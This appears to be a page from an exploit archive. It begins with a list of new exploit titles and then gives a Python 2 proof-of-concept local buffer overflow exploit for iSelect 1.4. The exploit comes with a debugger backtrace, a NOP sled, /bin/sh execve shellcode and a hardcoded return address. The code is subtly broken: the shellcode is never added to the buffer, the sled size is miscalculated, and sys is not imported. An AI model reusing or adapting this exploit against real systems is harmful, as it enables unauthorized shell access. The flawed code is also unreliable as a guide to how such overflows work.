7c1c496c25
11 new exploits Nofeel FTP Server 3.6 - (CWD) Remote Memory Consumption Exploit Nofeel FTP Server 3.6 - 'CWD' Command Remote Memory Consumption Mozilla Firefox < 50.1.0 - Use After Free Mozilla Firefox < 50.1.0 - Use-After-Free HTML Help Workshop 4.74 - '.hhp' Buffer Overflow (1) Microsoft HTML Help Workshop 4.74 - '.hhp' Buffer Overflow (1) HTML Help Workshop 4.74 - '.hhp' Buffer Overflow (Metasploit) (3) Microsoft HTML Help Workshop 4.74 - '.hhp' Buffer Overflow (Metasploit) (3) HTML Help Workshop 4.74 - '.hhp' Buffer Overflow (Metasploit) (2) Microsoft HTML Help Workshop 4.74 - '.hhp' Buffer Overflow (Metasploit) (2) HTML Help Workshop 4.74 - '.hhp' Buffer Overflow (Metasploit) (4) Microsoft HTML Help Workshop 4.74 - '.hhp' Buffer Overflow (Metasploit) (4) iSelect v1.4 - Local Buffer Overflow Word Viewer OCX 3.2 - ActiveX (Save) Remote File Overwrite Word Viewer OCX 3.2 ActiveX - (Save) Remote File Overwrite WinaXe Plus 8.7 - Buffer Overflow DiskBoss Enterprise - GET Buffer Overflow (Metasploit) Windows x64 - CreateRemoteThread() DLL Injection Shellcode (584 bytes) Photobase 1.2 - 'Language' Local File Inclusion Joomla! Component Portfol - (vcatid) SQL Injection Photobase 1.2 - 'Language' Parameter Local File Inclusion Joomla! Component Portfol 1.2 - 'vcatid' Parameter SQL Injection dMx READY (25 - Products) Remote Database Disclosure dMx READY (25 - Products) - Remote Database Disclosure Joomla! Component com_gigcal (gigcal_gigs_id) 1.0 - SQL Injection Joomla! Component GigCalendar 1.0 - SQL Injection HSPell 1.1 - (cilla.cgi) Remote Command Execution HSPell 1.1 - 'cilla.cgi' Remote Command Execution PHP Photo Album 0.8b - (index.php preview) Local File Inclusion PHP Photo Album 0.8b - 'preview' Parameter Local File Inclusion Huawei Flybox B660 - Cross-Site Request Forgery Business Networking Script 8.11 - SQL Injection / Cross-Site Scripting Pirelli DRG A115 ADSL Router - Unauthenticated DNS Change Tenda ADSL2/2+ Modem D840R - Unauthenticated DNS Change Image Sharing Script 4.13 - Multiple Vulnerabilities Million Pixels 3 - Authentication Bypass ManagEnegine ADManager Plus 6.5.40 - Multiple Vulnerabilities
63 lines
2 KiB
Python
Executable file
63 lines
2 KiB
Python
Executable file
# Exploit developed using Exploit Pack v7.01
|
|
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
|
|
jsacco@exploitpack.com
|
|
# Program affected: iSelect
|
|
# Affected value: -k, --key=KEY
|
|
# Version: 1.4.0-2+b1
|
|
#
|
|
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
|
|
# Program description: ncurses-based interactive line selection tool
|
|
# iSelect is an interactive line selection tool, operating via a
|
|
# full-screen Curses-based terminal session.
|
|
|
|
# Kali Linux 2.0 package: pool/main/i/iselect/iselect_1.4.0-2+b1_i386.deb
|
|
# MD5sum: d5ace58e0f463bb09718d97ff6516c24
|
|
# Website: http://www.ossp.org/pkg/tool/iselect/
|
|
|
|
# Where in the code:
|
|
#7 0xb7eaa69f in __strcpy_chk (dest=0xbfffeccc
|
|
"1\243\376\267\070\360\377\277", src=0xbffff388 "=", 'A' <repeats 199
|
|
times>..., destlen=1024) at strcpy_chk.c:30
|
|
#8 0x0804bfaa in ?? ()
|
|
#9 0x0804914d in ?? ()
|
|
#10 0xb7dcd276 in __libc_start_main (main=0x8048f50, argc=2,
|
|
argv=0xbffff224, init=0x804c020, fini=0x804c090, rtld_fini=0xb7fea8a0
|
|
<_dl_fini>, stack_end=0xbffff21c) at ../csu/libc-start.c:291
|
|
|
|
|
|
# Exploit code: Proof of Concept ( Without Fortify )
|
|
import os, subprocess
|
|
|
|
def run():
|
|
try:
|
|
print "# iSelect - Local Buffer Overflow by Juan Sacco"
|
|
print "# This Exploit has been developed using Exploit Pack -
|
|
http://exploitpack.com"
|
|
# NOPSLED + SHELLCODE + EIP
|
|
|
|
buffersize = 1024
|
|
nopsled = "\x90"*30
|
|
shellcode =
|
|
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
|
|
eip = "\x08\xec\xff\xbf"
|
|
buffer = nopsled * (buffersize-len(shellcode)) + eip
|
|
subprocess.call(["iselect -k=",'', buffer])
|
|
|
|
except OSError as e:
|
|
if e.errno == os.errno.ENOENT:
|
|
print "Sorry, iSelect binary - Not found!"
|
|
else:
|
|
print "Error executing exploit"
|
|
raise
|
|
|
|
def howtousage():
|
|
print "Snap! Something went wrong"
|
|
sys.exit(-1)
|
|
|
|
if __name__ == '__main__':
|
|
try:
|
|
print "Exploit iSelect - Local Overflow Exploit"
|
|
print "Author: Juan Sacco - Exploit Pack"
|
|
except IndexError:
|
|
howtousage()
|
|
run()
|